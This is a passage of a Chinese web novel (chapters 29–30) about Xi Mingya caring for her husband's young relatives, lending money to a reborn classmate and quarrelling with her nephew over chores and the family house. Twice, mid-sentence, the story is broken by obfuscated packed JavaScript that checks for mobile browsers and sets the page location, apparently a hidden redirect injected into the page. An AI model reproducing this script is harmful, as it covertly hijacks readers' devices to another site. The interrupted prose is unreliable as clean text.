小孩子其实最会看眼色。 最懂什么场合、什么人面前可以调皮。 就像现在。 尽管奚明亚没打骂过他们,平时他们还会亲亲热热抱着她喊舅妈。但当谭乐生和谭文宣不在时,他们就如小动物一样敏锐,一点儿也不跳脱,可乖了。 “好~了~~~我们到家了。” “哇~~~” 小姑娘到了陌生地方并不胆怯,很自来熟的样子,屁颠屁颠冲进大门,根本不用人领路。 一路跑,一路哇。 高阳和谭文明被她带动,也嘻嘻哈哈跟着跑。 院里董桂花捧着碗,正听朱大姐聊周家的事,“……哎哟,那姑娘的肚子哦,都显怀了,旁边还跟了个四岁大的小男娃,欧阳眉讲那是周威媳妇儿的外甥,家里生多了养不起,她儿媳妇心肠好就养了,呸,那圆脸盘塌鼻梁一看就是周威的种……” “啊,这样吗?” 其实早就知道了,谁让闺女啥秘密都晓得。 “可不是,还好桂花你们家没应周家的亲事,不然闹出来明亚的日子还怎么过啊?凭空冒出两个孩子。” 这话董桂花不爱听。 脸一沉,“别扯一块,我跟老奚从来没打算答应。” 朱大姐表情讪讪:“就那么一说,你咋还较真啊,这么大岁数气性还那么大。” 董桂花眼白瞅她:…… 这是气性大不大的事吗? 奚明亚进来就看到她妈跟朱大姐面对面,比谁眼睛大,她狐疑看了两秒,“妈,你干嘛呢?” “哦,聊天呢。” 董桂花一听闺女声音,惊喜回头,就见奚明亚背着小篓子,身边围着三只软糯白嫩的小鸭子。 “咋这个点回来,吃饭了没?” “小谭呢,怎么没跟你们一块回来?” “有案子,出差去了。” “嚯,挺沉呀,又是背了些什么?” “一点面粉。” 今日特价商城20公斤面粉只需要十个积分,奚明亚秒下一单,带了一半过来。 “欢欢、阳阳、文明,这是我妈,你们喊董奶奶就好。” “董奶奶~~~” “那是朱奶奶。” “朱奶奶~~” 三小只衣着整洁,脸蛋、指甲都拾掇得干干净净,配上奶呼呼的声音,很难让人心生反感。 董桂花的排斥和担心立时消散了大半。 只是奶奶这称呼…… 让她感觉自己一下老了好多岁。 突然升了辈分,董桂花没忍住瞪了大闺女一眼。 扭头看向几个孩子时重新换上慈爱温柔的笑容,声音不自觉夹起来,“诶!欢欢阳阳文明好乖呀,来来来,进屋,董奶奶给你们拿桃酥吃。” “谢谢董奶奶~~” 董桂花笑得眼尾多了两三条皱纹。 奚明亚:“妈,我们还没吃饭呢,还有吃的没?” 话音刚落,便被眼刀子扎了一下。 “你真是个活爹,等着。” 奚明亚嬉皮笑脸跟上去,抱着董桂胳膊:“我可想你做的饭菜了,哎,我怎么就没遗传到妈你的手艺呢。” 说到厨艺,董桂花也纳闷得很。 她手把手教大闺女,做出来的菜香味儿和卖相都跟自己做的别无二致。 但一入嘴不得了。 总是这样那样的怪味儿。就算盯着她放调料,出锅的照样难吃。 只能说,闺女跟灶台无缘。 “家里现在谁烧菜,你煮的……他们没意见?” 奚明亚无奈:“有。” 董桂花问:“那怎么办啊?” 奚明亚摊手:“还能咋办,谁行谁上,不然还有公安局的小食堂,左右饿不着。” “回头妈给你炒点酱,滚几罐辣子油,好在家也能煮面拌菜吃。” “好啊,妈,你果然还是最爱我。” “……” 母女俩有说有笑进屋,朱大姐目光一直落在背篓里,眼热不已。 犹豫片刻,还是厚着脸皮跟了进去。 “桂花,我看明亚带回来的面粉不少,你匀点给我,关永最近经常加班,我给他弄点细粮补补。” 董桂花:“不匀。” 朱大姐眼睛瞪大:“为啥啊?” 董桂花:“他都二十好几还补啥补,我家明冬几个正长身体,这点面粉还不够他们吃。” 如果是给乡下的关锦寄,她愿意匀点,给关永? 想都别想。 这小伙子快把朱大姐敲骨吸髓榨干了,也没见他多孝顺一点,董桂花对他印象极差。 “老朱啊,我不跟你聊了。明亚和孩子们饿着肚子,我先给他们做饭去。” 朱大姐见她说不通,就想拉着奚明亚说说。奚明亚怕她唠叨,赶在她开口前吆喝三个孩子买冰棍去。 小孩子本就坐不住。 拿了桃酥就在院子里乱钻,这里的花揪一朵,那里的泥土挖一挖,好奇心充沛。一听有冰棍,小短腿抡得飞快,扯着奚明亚就往外跑。 朱大姐:“……” “舅妈,我要则个~~~” “不阔以买两个吗?” “不可以,只能一个。” 最小的文明爱撒娇。 他不记事,每天除了吃就是玩,对奚明亚的戒备心最低。这会儿扑到奚明亚腿上,圆滚滚的小身子晃来晃去,“舅妈,我锅锅也要~~~~” 奚明亚一拍脑门,她的确忘了谭文宣那小鬼了。 “那一会儿回家前再给他买,不然等不到给你哥冰棍就化成水了。” 高欢一听。 眼珠转了转,鬼主意就来了。 赶忙把文明拽一旁,三个小孩嘀嘀咕咕。正商量一会儿要如何撒泼打滚坐上顺风车买第二根。 奚明亚:…… 其实你们可以再小点声的。 几个小孩里,老大谭文宣是别扭的心机鬼,满脑子被害妄想症,小屁孩想打倒自己这个入侵他们生活的反派; 谭文明是纯憨憨,谁给他吃他就亲近谁,傻乐派; 高欢小机灵鬼,跟谁说话都甜糯糯的,时不时又小作怪一下; 至于高阳…… 风吹两边倒,性格冲动,容易被外人影响,所以一会儿跟着他大表哥上蹿下跳,一会儿又像弟弟妹妹那样屁颠屁颠跟着自己跑。 主打一个谁声音大,他就听谁的。 但有一个共同点,都挺识时务。加上奚明亚自我要求低啊。 人一旦干什么事选择低目标,不给自己太大压力,那肯定快乐多过烦躁。 就像此时此刻。 几个小屁孩围一圈预谋犯上作乱,奚明亚一点没烦,甚至面带微笑一脸期待。 “奚明亚。” 奚明亚顺着声音看去,又是陆佳。 “你能借我点钱吗?” “我明早到龙水湾下乡,龙水湾你知道吗,在咱们省最贫困的马华市下面,知青办给的派遣费被我爸妈收走了,我——” “借多少?” 陆佳怔住,怀疑耳朵是不是听错了,下意识“啊”了一声。 就听奚明亚耐心又问了一遍:“你要借多少?” “你真的愿意借我吗?” “嗯。” 奚明亚记得陆佳。 读书时坐在她后面第二排,人很腼腆,总是含胸驼背低着头。有次月经突然拜访,陆佳及时提醒,自己才避免陷入窘境。 只是她不爱交朋友,陆佳也内向,两人后来再没说过话。 陆佳吸了吸鼻子。 期期艾艾问:“3……50,可以吗?” 她插队的地方在本省。 省内给知青定的安置费标准是210。其中40由关阳知青办发放,另外170则归落户地区发。结果派遣费还没落到她手里就被父母拿走了。 陆佳两辈子都嘴笨胆小。 干过最大胆的事便是豁出脸面找邻居帮忙叫她叔叔把自己分到龙水湾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12321226|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想法非常单纯。 上辈子她插队的地方不好,给她带去了一辈子都磨灭不掉的阴影。 而奚明亚很成功。 她从一些报纸、电视节目听说过她,知道她先帮过许多人。 那些人里,各行各业身居高位的都有。 他们谈起自己是那段艰苦奋斗的岁月,都少不了奚明亚的身影。 既然插队躲不过,内心又非常厌恶结婚,陆佳才鼓起勇气打算抱奚明亚大腿。 没想到…… 奚明亚哪里知道眼前人心中的复杂。 道:“没问题,不过你得打个欠条。如果再多点那就押物或者找两人担保。” 陆佳回神,没想到这么容易,激动得小脸红扑扑的。 她长了张桃心脸。 眉型很淡,眼睛跟小鹿眼似的,看着没攻击性,性格也的确很软,上辈子遭老大的罪都只是默默内耗,就算重生她也没有突然就变得坚强起来。 见对方如此痛快,明明是很正常的举动,都能让她感动得胸腔彷佛被什么堵住一般,眼眶不受控地泛红。 “我肯定还的。” “真的。”她再三保证。 奚明亚挑眉,唇角勾起:“我相信。” 在病毒一样顽固的记忆里,陆佳存在感不高,但留给她的印象都是正面的。 对带给自己正面情绪反馈的人,奚明亚向来友善。而如周威那种带来困扰的,她更容易暴躁,一个不留神就会武德充沛。 “我今天是回娘家蹭饭的,身上没带钱,你看是跟我一道找我妈,还是约个地点,我回家拿了钱再来找你?” 陆佳哪有挑剔的。 紧张地揪着手,放不开的样子弱弱道:“你怎么方便就怎么来,我没关系的。” 奚明亚想了想。 当机立断:“那行,两点我从娘家出来,你跟我一道去我家拿,可以吗?我得在家盯着这仨拖油瓶。” 陆佳还没讲话,就听其中一个小孩囫囵着音儿抗议:“舅妈,我不素拖拖瓶~~~” “对~~拖油瓶是骂人的,舅妈你骂人,你不乖,舅舅要打你屁股。” 奚明亚敷衍地“嗯嗯嗯”,冲义愤填膺的高阳咧嘴一笑:“我才要打他屁股呢,他也是拖油瓶,你们几个都是。” 高阳瞪眼。 小丫头舔着冰棍。 呆住了。 嘴角一丝口水缓缓往下淌,她没察觉到,还在皱眉歪头思考。 在口水要坠落之际,小孩儿吸溜一声的,突然问:“舅妈,拖油瓶到底嘛意思啊?” 她小脸皱巴成一团,好像遇到天大的难题。 奚明亚张嘴就来:“你们不知道拖油瓶啥意思还接话那么快?高阳咋知道拖油瓶是骂人的?” “大壮妈妈讲哒~~” 大壮妈就是牛玉芬。 “大壮妈妈说,年轻媳妇儿讨厌拖油瓶,我们几个就是拖油瓶~~~” 高阳小嘴叭叭个没完,“舅妈,你讨厌我们吗?” 他学舌。 但其实并不明白大人话里的具体意思。只不过孩子对情绪很敏感,不一定懂意思,却很容易察觉对方对话语境里的好坏。 奚明亚面不改色,伸手捏他胖嘟嘟的腮帮子,佯装凶狠:“讨厌,讨厌死了。所以你们仨别惹我,不然我叫上你舅舅,我俩打你们三个,不,打四个。” 捏完高阳,又去捏高欢。 小姑娘盯着她看了两秒。很快龇着口小米牙,臭屁道:“才不会儿,舅舅不打人~~~~” “舅妈你还没说拖油瓶是啥嘞?” 奚明亚张嘴就忽悠:“拖油瓶就是咱厨房里装油的瓶瓶啊,很有用的,不信等你舅舅回来,你们问他是不是拖油瓶,他肯定会点头说是,因为公安就是很有用的人。” 三小只嘴巴张成“O”形。 高阳自以为懂了。 得意洋洋道:“我懂了,舅舅是公安,也是拖油瓶,所以拖油瓶等于公安,都是好的。大壮妈妈没骂我们,其实是夸我们。表哥居然还生气,哎,他太爱生气了。” 小屁孩人小鬼大,叹息一声。 随后猛地嗦了几口冰棍,霎时被冻得身体发抖,直吐舌头。 高欢一听,也恍然大悟。 小姑娘跟着咯咯笑,美滋滋说:“那舅妈也是拖油瓶,我们都是很有用的拖油瓶。” 奚明亚:…… 好一个有福同享,有夸一起夸。 天然黑吗? 29.第 29 章 “是是是,闭嘴吃你的冰棍吧。” 她嘴角抽了抽,望天翻了个大白眼。 陆佳第一次见奚明亚如此鲜活,不知不觉间面对“大佬”的局促紧张感消失了。 重生,骤然有了真实感。 原来—— 被大家心心念念,被报纸频频表扬的铁人干部年轻时是这样啊。 “他们好乖啊。” “还不错,不捣乱占大部分时间。” 三小只经不得夸,谁夸他们都翘尾巴,“舅妈,我们最乖啦~~~~” “是,很乖。”奚明亚没泼小孩冷水,侧首跟陆佳讲:“我先带他们回去吃饭,一会儿见。” 陆佳:“好。” 女儿第一次带孩子上门,本就在吃喝上大方的董桂花就更不会小气了。 煮饭一点粗粮没掺。又切了两指长腊肉炒蒜薹,一碗小孩儿都爱吃的鸡蛋羹,一叠青椒皮蛋。 她厨艺好,舍得放油。 一时间,满院里的人都被馋得疯狂分泌口水。 奚明亚领着仨孩子回来,隔壁刘阿姨家大孙子正满地打滚,嚷嚷着要吃肉。 那小孩比双胞胎大两岁。 肥肥壮壮的。 刘家人带得埋汰,大中午脖子上就好几圈黑线,脸颊上也好几道干了的鼻涕印,六七岁还往地上滚,边滚边嗷嗷叫。 咦~~~ 奚明亚嫌弃地往旁边躲了躲。 三小只有样学样,紧紧贴着她走,看对方的眼神那叫一个震惊、嫌弃。 边走边不忘王婆卖瓜:“舅妈,我身上就一点儿也不脏~~~~” “他羞羞脸!” 奚明亚一听就知道不好。 果然。 刘桂花眼神不善地瞪了无形拉踩她宝贝孙子的高阳一眼,“大丫你咋教孩子的,这么小就骂人,长大了不得上天?” 嗯,她也觉得骂了。 但她能承认吗? 必须不能啊。 奚明亚诧异脸:“刘阿姨,他才五岁哪懂阴阳怪气那么高级的骂法,你别多想啊。” 几个小的一看刘桂花凶巴巴的样子,噤若寒蝉。小短腿挪啊,挪啊。一个挪,其他两个就跟上。 趁舅妈顶在前头,三小只顿时作鸟兽状一哄而散,飞快跑进奚家找董奶奶。 奚明亚磨牙:…… 小没良心的几个崽子。 “不过孩子该打还得打,多打打才能懂事。”说完也不管刘桂花的反应,举手扇风进屋了。 董桂花早就听到外头的动静了。 安抚好三个自觉闯祸了的小家伙,领着他们吃饭去。小孩子注意力容易被转移,很快就进入吨吨干饭状态了。 “董奶奶~~~你做的肉肉比舅妈做的好次~~~~~” “对。” “好吃两倍,不,三倍~~~” “不是三倍,是好吃这么这么多倍。” 三个孩子边说,还边用手比划了好大一个圆,话里的嫌弃几乎不加掩饰。 奚明亚冷哼。 三小只噤声。 董桂花:“别老吓唬孩子。” “哼哼一声就把他们吓住了?玻璃做的吗,那么脆弱。”奚明亚大喊冤枉。 董桂花眼皮都懒得撩,给三小只分蒸蛋,问女儿:“婚也结了,城也留了,最近怎么想的?” “啊?” 董桂花差点上手掐她:“你就打算窝家里吃饭睡觉?” 奚明亚:“不然?” “你赶紧找个班上,哪有年纪轻轻把时间花睡觉上的,等你七老八十,还怕不够睡?” 奚明亚额头布满黑线。 37度的嘴怎么能说出这么冰冷的话? “知道了,你别操心,我找着合适的就出门上班。” 董桂花半信半疑。 “真的。” 奚明亚点头,斩钉截铁道:“比珍珠还真,你放心我有数。” ** 回去时,陆佳早在路口等着了。 奚明亚领着她直接走顺化街侧门。 一开始陆佳只觉得附近有点熟悉,总觉得来过,还不止一次。等进了院子得知正门在槐花街,她终于想明白这是哪儿了。 三进带跨院。 槐花街只有一处是这样的格局。加上先前几个孩子说的公安,陆佳心里忽然一阵不安。 这好像是谭公安住的那个院子。 莫非奚明亚这辈子嫁的是谭公安?那岂不是一年后她就要成寡妇? 陆佳脑子好乱,她不知该不该提醒,更不知怎么开口才能让对方信服。如今跃进农场的干部强迫女知青的事还没爆出来,她亦没离开过关阳。 要怎么解释自己知道两百里外发生的事? 可不说…… 又太不地道。 且不说上辈子谭公安和马公安的死,自己跟贺姣,所有人,所有因惧怕名声受损而隐瞒真相误导过公安查案的人都有不可推卸的责任。 就说眼下,自己借钱奚明亚答应得那么痛快,就不该见死不救。 她思绪乱糟糟的。 直到欠条写完,按了手印,钱都拿到了还糊涂着没捋出一个合理的解释。 眼瞅着事已办完,她才晕晕乎乎问了句:“你爱人他……姓什么啊?” “谭,他叫谭乐生。” 奚明亚看她欲言又止,猜测怕是遇到事了,借着冲糖水留陆佳,“要不喝杯水再走?” 她动作随性往椅子上一蜷,像谈论天气般,很自然就问了:“是有什么事需要我转达给他吗?” 陆佳犹豫不决,奚明亚没催。 半晌,她吞吞吐吐道:“没什么,我,我明早六点的车,我先回去收拾行李。”说罢,跟逃一样往屋外走。 走了几步,陆佳顿住脚。 仍然没敢回头看奚明亚,只小声说了句:“……谢谢,钱我会尽快还你。” 奚明亚:……怪怪的。 而那头陆佳彻底回过神时人已经走到顺化街路口了。 无穷的懊恼差点把她压垮。 她拍了拍脑袋。 又狠狠打了自己两下嘴巴,暗暗唾弃骨子里的懦弱。 她明明很愧疚,很想救两个公安的命,可秘密被揭穿的恐惧还是不知不觉让她做了逃兵。 霎时,愧疚、纠结全聚拢在心间,她站在路口,神色茫然,忽然不知自己该往哪个方向走了。 屋里,奚明亚看着桌上的欠条,若有所思。 到底是什么需要用到公安的事,让人两秒做了一百个小表情? 是想检举亲戚朋友吗? 她把欠条叠好,放进收钱和票的小匣子。在屋里绕了一圈,后知后觉想起谭文宣没打卡。 这可不行。 少了谁打卡,都有种损失几大百的心痛感。想到这儿,奚明亚没空思考陆佳身上究竟发生了什么。 她起身到西厢,“叩叩”,敲门。 “谭文宣,下午吃饭了吗?没吃的话我给你煮面条。” 谭文宣正看着信出神。 被突如其来的拍门声猛地吓了一跳,他下意识跳下椅子,背对桌子挡住身后的信纸。 等了一会儿,门没被推开。 他屏住呼吸,“……哦,好。” “谢谢小婶。” 奚明亚:…… 这么礼貌?很反常啊。 隔着门,她彷佛能看破谭文宣的‘心虚’,这小子一个人躲屋里,肯定又在搞什么鬼主意。奚明亚不动声色:“行,做好再叫你。” “嗯嗯。” 脚步声渐渐变轻,谭文宣松了口气,一屁股坐回椅子,重新展开信。 妈妈想自己和弟弟了。 说希望来关阳定居,陪着他们一块长大,叫他喊小叔把屋子腾出来…… 可小叔会同意吗? 就算小叔同意,那女人会乐意吗? 现在东厢已经被她改成了冬天睡的炕,如果妈妈住进来势必得占了东厢,那女人斤斤计较,一点亏不乐意吃,肯定不同意。 但妈说得没错,房子是奶奶留下的。 姑姑是外嫁女没得分,爸爸是儿子,这院子爸和小叔都有一份。按道理,主屋的三间肯定该留给作为长子的爸爸。现在他们不要主屋,只要求一间东厢,已经是主动退了一大步,小叔应当不会不同意。 …… 正想着,房门‘嘎吱’一声。 突然被推开了。 谭文宣再次被惊得浑身抖了抖,以为奚明亚去而复返,打自己一个回马枪,刚要抗议她不打招呼就进来。 结果进来三个矮墩墩。 “锅锅~~~~舅妈给我们买冰棍了哟,你没有。” 高欢现在可喜欢舅妈了。 赶忙纠正表弟的话:“舅妈也想给表哥买,可是我们回来的路上没有卖冰糕的地方。” 谭文宣压根没认真听。 长吁一口气,不是奚明亚就好。嘴巴仍旧不改刻薄:“不稀罕。” “谁像你们这么笨这么容易被收买。” “哼,你才笨!”高欢气鼓鼓。 谭文宣不理她,也没轰他们出去,反正三小只认不得几个字。 他不怕他们看到信。 不过还是装得很自然地,把信叠好放进新的炕柜。 等双胞胎翻箱倒柜拿了玻璃弹珠又冲回院子里玩耍,他一把拽住跑最后面的亲弟弟,“明明,你想妈妈吗?” “不想。” 谭文明想也不想就摇头。 “为什么?你不希望妈妈来照顾你吗?” “不要,不要,妈妈打我,她才不喜欢我。”小孩噘着嘴,童稚话语里没有怨恨生气,只是陈述他被打过的事实。 谭文宣神情怔忪。 其实妈妈不仅打了文明,也打了他。 他不希望她那么快忘记爸爸组建新的家庭,她就打了他。那天,妈妈哭得很伤心,说如果自己心疼她这个妈就不要阻拦她下半辈子的幸福。只要自己乖乖跟着小叔走,别再去找她,管好弟弟就是对她最大的孝顺…… 谭文宣抿嘴。 对母亲的依恋和母亲的绝情反复在他心里撕扯。 接到信的开心渐渐变淡,他开始去思考妈妈为什么寄这封信。 是因为二嫁的男人对她不好吗?那这算真的想自己和文明吗? 房子真的有爸的一份吗? 如果有,妈连爸的抚恤金都捏着不放,当初为什么没提奶奶的院子? 是因为当时急切想摆脱自己和文明这两个拖油瓶,怕小叔没好处不愿养他们,妈才没有在房子上纠缠,是吗? 想到这儿,谭文宣脸色难看到极点。 “锅锅~~~” 小家伙不知道自己无意间打破了亲哥对母亲的幻想,还在欢快地蹬着腿挣扎:“锅锅放开我,我要跟欢欢玩~~~~” “玩玩玩,就知道玩,笨蛋!” 小孩儿被骂懵了,茫然地看着亲哥,愣了几秒,“哇”地大哭出声。 他一哭,院子里撅着屁股弹珠珠的双胞胎立马紧张地冲了进来。 “表哥,你为啥要欺负明明?” 小姑娘个头矮矮,气势一点不虚。 她长得圆滚滚的。 小短手艰难的抱在胸前,圆眼眼尾上挑,龇着牙,奶凶奶凶。 若是谭乐生在这儿,就会发现小丫头模仿的正是奚明亚。只是她身上一点威慑性都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12330308|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有,纯纯卖萌。 谭文宣心情很差。 不想应付除了吃就是玩的弟弟妹妹,黑着脸把三小只赶出门,“他自己爱哭鬼。” “是锅锅凶我。”小胖子气呼呼反驳。 谭文宣张张嘴:“……” 算了,这是亲弟弟。 “就是锅锅凶我,锅锅要打我。” 谭文宣额头满是黑线,不想继续跟他们争,敷衍道歉:“哥哥跟你说对不起,行了吧。” 小胖子哼哼几声,总算没再哭了,转眼跟在双胞胎屁股后头满院子撒欢。 谭文宣无比心累。 这边闹腾,厨房里的奚明亚听了个全乎,但她没管。 反正小孩不是易碎物,谁不是摔摔打打着长大了?兄弟姊妹闹腾打架多正常啊,一点风吹草动家长就跑出来拉架才奇怪嘞。 “吃面了。” 热气腾腾的阳春面放桌上。 奚明亚喊了一声,回屋收拾换下的衣服,又叫三个孩子把他们的脏衣服抱出来。 “盆在那儿。” “水在这儿。” “自己的事自己干啊,来,跟我学怎么洗衣服。”她陪嫁的搪瓷盆多,索性给每个孩子发了一个。 谭文宣好不容易平息心情,出门就看见无良婶婶笑里藏刀,诱导三个小屁孩干活。 不知怎地。 少年阴郁不快的心情一瞬间彷佛找到了发泄口,“小婶,饭你不做,现在衣服也不洗了?谁家大人像你这么懒,总是把活儿推给小孩干啊?” 人在发泄脾气时是盲目的。 谭文宣选择性忽视了三小只盆里只留了一件脏得不那么明显的衣服。 奚明亚也不晓得他突然发什么癫。 冷哼一声:“别人家没有,我们家有。你甭跳脚。我问你,洗衣服做饭扫地上面写我名字了?还是你们四个发我工资了?这个家是我一个人的,不是你们的是吧?我大,我干多点,你们小,就干少点,这是不是很公平?” 谭文宣一噎,难免气短。 奚明亚再轻飘飘瞥他一眼,有井就下石:“谁惹你你找谁,冤有头债有主,莫名其妙朝我撒气算什么英雄?” 这话当即戳中小孩儿死穴。 差点忘记的“母爱疑云”又浮了出来,难以名状的纠结矛盾全都化为对奚明亚的恼怒。 “我又没说错。” “家务活本来就是你的分内之事。” 奚明亚语气凉凉:“谁规定了?” 谭文宣梗着脖子:“本来就是。” 他哪里说错了,这些本来就该媳妇婆子们做,他妈和姥姥一直这样讲,也是这样做的。 从前在兵团,妈就把家里打理得井井有条。他想帮忙她不让,说爷儿们不干家务活,否则长大了围着锅碗瓢盆转,会没出息。 自己学做饭还有说头,谁让奚明亚做的饭菜叫人边吃边哕。 为了弟弟妹妹的身体健康,他迫不得已才学的。 但洗衣服…… 怎么就该他们做了? 就算非得学,也该等欢欢长大了,让欢欢这个女娃娃学。 他,高阳,明明,他们仨都是男孩子,哪有男孩子洗衣服的? 娘里娘气,婆婆妈妈! 他心里这么想,嘴上也这样说:“别人家娶媳妇都是为了照顾家里,照顾孩子,你在外头又没工作,凭什么家里的还只干一点点,那小叔娶你做什么?” 奚明亚被这话逗笑了。 挑眉:“说得好,你小叔娶我当然是喜欢我想跟我过日子,难不成是为了你们啊?不会吧,不会吧,谭文宣你不会这么厚脸皮,觉得你小叔干啥都只能为了你们活吧?” 谭文宣气得脸胀红。 隐秘的想法被漫不经心的笑语戳破,尚未点亮面不改色技能的小孩多少感到羞耻。 奚明亚看他脸红得好似要滴出血,头越垂越低。眼里凝聚的嫌弃才稍稍褪了些。 她决定大方点。 自己是大人嘛,这次让让他,有意放他一马:“赶紧吃面去,面要坨了,吃完出来把你的衣服洗了,还有,他们仨如果洗得不干净,你这个当哥哥的得帮忙收尾啊。” 她要放水,结果谭文宣不领情,莫名其妙更愤慨了。 看奚明亚的眼神跟看仇人差不多,锋利得很。 “小叔给你了。” “我们没有白吃白喝。” 行。 给你留面子你非不要,那就别要了。反正无条件爱幼这种美好品德她本身就没有。 奚明亚勾唇。 冷笑一声:“那是你小叔给的,又不是你给的。再说,我是他媳妇儿,他不给我给谁?” “你跑正院问问大壮他们干不干活?” “怎么别人打小要帮家里做事,你们不用啊?我甚至没压榨你帮我洗,就叫你们自个儿负责自个儿,你就觉得委屈了?咋地,想当衣来张口饭来伸手的大少爷啊?那不行,谁让你晚生了五十年呢。” 谭文宣:“……” 满嘴歪理。 可他又不知道怎么反驳。过了好一会儿,才咬着牙憋出一句:“以前小叔就会帮我们洗。” 奚明亚摊手:“那就等你小叔回来再帮你们洗,反正脏也脏不到我身上。” 谭文宣气得胸膛不断起伏,无话可说。 他怒瞪着奚明亚。 鬼使神差间,脑子里闪过妈妈寄来的信。这一刻要压过奚明亚,看她变脸的心情似乎抵达了巅峰,甚至越过了变质母爱带来的不开心。 几乎不假思索,话便撂了出去:“我妈说了,院子有我爸一份,我们住在这里天经地义,欠你和小叔的只有吃了的粮食,等我妈来关阳,大不了还你们就是了。” 30.第 30 章 “……大不了还你们就是了!” 少年掷地有声。 终于找到了攻击高地,流露出几分志得意满的疏阔,还怪有意思的。 “哦~~这样啊。” “行,等你妈来了让她跟你小叔谈。在她来之前,做饭洗衣还是你们自己的活儿。” “我是外人嘛,哪有叫外人干活的?” 奚明亚目光犀利讥讽,一大一小视线撞一块,噼里啪啦火花四溅。 她这会儿也有点生气上头。 她知道小孩儿心里不舒坦很记恨自己,但她不在乎。 她是他小婶,又不是保姆。 这孩子从前被人宠得过了,不知谁教的愣是教得表里不一。 光看表面,谁不夸一句懂事礼貌爱学习啊,当着外人他每次都老老实实喊“小婶”。 但很多细枝末节又透露他内心十分敏感,自私。 就像这会儿。 莫名其妙生气发癫,自己没顺着哄他再讲了几句道理,他就主动嚷嚷切割关系,直接戳人心窝子。 他理所当然觉得她该对他们好。 因为她是他小叔的附属品,他潜意识里把谭乐生的钱当成他自己的,以此作为对抗自己的砝码。 可若说他完全把谭乐生划在他的阵营,而只把自己划在阵营外,又不正确。 他并没有特别信任谭乐生,跟其他三个天然对谭乐生很亲近的孩子相比,他是疏离中带着防备。 这就很拧巴。 今天若是谭乐生听到这番话,指不定多难受。 奚明亚都替他不值。 这才非常粗暴地让小孩明白一个道理——她跟谭乐生才是关系亲密的两口子。 是他们俩一同在照顾他和弟弟妹妹,谭乐生的一切都属于她,而不属于他们几个侄子外甥。她是能决定他生活质量的主人翁,不是一个任他呼来喝去的外人。 惯得他! 她越这样,小孩儿越像不断充气的气球,膨胀,打起,膨胀,‘砰’一下,爆了。 “好,那我做的饭你也不许吃。”小孩脸颊鼓鼓,一脸气愤下战书。 “呵呵,我稀罕?我直接下馆子!但是你放心,你们要吃什么只要提前说了,我会把菜买回来给你记个账,你自己说的会还,等你妈来了不会赖账的吧?” 谭文宣气得眼睛都红了。 天底下怎么会有这么讨人厌,毫无大人模样的大人! 他愤慨不已:“你放心,绝不会赖。” 奚明亚瞥他,又嗤了一声,淡淡点头:“那挺好,我记住了。” 谭文宣:…… 没了? 不再说点什么? 自己这样生气她居然忍得住没吼人没揍人,有种一拳打空气的感觉,他不仅没觉得爽,反而更气了。 这说明奚明亚压根没把自己当晚辈! 说不定还没嫁过来前就已经想好要怎么把他们扫地出门了,自己刚刚的话正中她下怀了,这女人实在太可恶。 眨眼功夫,原本对亲妈打算要房子的事感到犹豫的谭文宣忽然破罐子破摔,变得期待起来。 妈妈对他和文明的爱再是掺了杂质,也比奚明亚待他们好。 他决定了,等下就寄信去。 玩水的三小只瑟瑟发抖。 一下瞅瞅奚明亚,一下又瞪着圆眼去看气鼓鼓的大哥,幼崽们趋利避害,谁都不敢吭声。 就连最小最不爱动脑的谭文明都偷偷挪了挪屁股,离舅妈和大哥远一点。 三小只战战兢兢搓衣服。 “舅、舅妈,我洗好了。”高欢拽着没少残存肥皂泡泡的小背心,小心翼翼地望着奚明亚。 奚明亚指了指水桶,“把脏水倒掉,舀两瓢清水,漂一漂,搓一搓,拧干了给我,我帮你晾。” “哦~~~” 大概是奚明□□绪太稳定,语调跟平时别无二致,不多时,脸上重新挂满浅浅的笑意。 小孩儿浑身竖起的毛毛得到了安抚,确认大哥和舅妈吵架不会波及到他们,没一会儿又变得活泼起来,叽叽喳喳比谁的洗衣水更黑更牛逼! 大家都没把吵架当回事。 唯一一个把吵架当成天塌地陷一般大事的谭文宣攥紧拳头,尴尬杵在原地,显得格外不合群。 奚明亚三两下把衣服搓干净。 盯着玩水的三小只,督促他们动作快一点。她洗澡洗得勤,几个小的也养成每天洗澡的习惯,每天换洗,衣服其实没有特别脏。 她晾,双胞胎帮忙递。 剩下一个矮墩墩小胖子没分配到任务,围着奚明亚转来转去,舅妈舅妈喊个不停。 谭文宣见状,心里闷闷的,更难受了。 他在为兄妹四人争取权益,结果高欢仨倒好,把干活当玩,玩得还很开心。 这才多久啊,他们就对奚明亚那么亲近,显得他没事找事一样。 痴心错付啊!!!! 谭文宣恼怒得很。 定定盯着三小只好一会儿,气冲冲回屋写信去了。 如果这时候有人哄哄他,给他递个梯子,他就顺势下来了。 可是—— 有可能哄的三小只看不懂大哥发火的原因,他们也被吓到了,下意识想远离散发负面情绪的人。 而看得懂的奚明亚又懒得管他的心理活动,完全没把他的反击行为放在眼里。 谁的妈来了也不顶事啊。 谁让房本上只有谭乐生一个人的名字呢。 如果事先不知道房本的事,她肯定得炸。房子是谭乐生的,那就是她的。 莫名其妙冒出个前嫂子抢东西,她能大大方方表示无所谓才怪呢。 但这会儿嘛…… 她才懒得越俎代庖顶在前头呢,还是交给当事人解决为好。 这倒不是她避事儿。 主要这房本一琢磨就能猜到里头有猫腻。 